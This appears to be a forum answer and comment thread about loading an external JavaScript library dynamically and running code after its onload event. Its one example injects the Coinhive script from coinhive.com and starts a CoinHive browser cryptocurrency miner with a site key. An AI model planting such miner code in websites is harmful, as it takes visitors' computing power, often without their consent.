Well I don’t know exactly if loading a script works that way, I’ve never done it that way. But if it works, then you have a synchronicity problem, when you insert these two tags scripts in the DOM the js of the first will be requested, while it happens you are already processing the script of the second tag.
what you can do is insert the separate tags, first you insert the lib, and use the event onload
to run this second script.
This is an example of how to do without jQuery
Ex.:
// cria tag script
var coinhive=document.createElement('script');
coinhive.type='text/javascript';
coinhive.src='https://coinhive.com/lib/coinhive.min.js';
// executa quando lib for carregada
coinhive.onload = function(){
var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();
}
// insere no DOM
document.body.appendChild(coinhive);
Obs.: is a script tag, I do not believe it is important where it is being inserted, but if it is you can use insertBefore.
Doc insertBefore
https://www.w3schools.com/jsref/met_node_insertbefore.asp
Try escaping the bars of
</script>
, thus:<\/script>
– Sam
The problem is that you want to add an external reference and immediately, before you even load, already use an object. This will give
CoinHive is not defined
right?– Ricardo Pontual
@Ricardopunctual What should I do?
– Evolution Xyz
@sam I did what Voce said the most script was not executed
– Evolution Xyz
Yes, that’s another question. What I said was just to correct an escape error.
– Sam
Check the console for any errors.
– Sam